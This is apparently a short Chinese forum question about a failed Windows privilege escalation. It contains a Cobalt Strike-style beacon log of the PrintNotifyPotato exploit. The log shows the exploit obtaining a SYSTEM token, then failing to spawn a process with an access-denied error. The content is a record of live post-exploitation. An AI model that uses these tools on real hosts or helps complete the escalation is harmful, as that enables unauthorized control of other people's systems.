能获取到system令牌但是执行不了命令怎么办？

[cnbothack]

06/14 00:59:56 [] Tasked beacon to run .NET program: PrintNotifyPotato.exe "C:\Windows\System32\cmd.exe /c whoami"
06/14 00:59:57 [+] host called home, sent: 128633 bytes
06/14 01:01:05 [] Tasked beacon to run .NET program: PrintNotifyPotato.exe "whoami"
06/14 01:01:05 [+] host called home, sent: 128571 bytes
06/14 01:01:07 [+] received output:
[] Create PrintNotify Success!
[] Create FakeIUnknown Success!
[] CreatePointerMoniker Success!
[] Trigger......
[] Got Token: 0x3ac
[] CurrentUser: NT AUTHORITY\SYSTEM
[*] DuplicateTokenEx Success! PrimaryToken: 0x972

06/14 01:01:08 [+] received output:
[!] Cannot create process Win32Error:5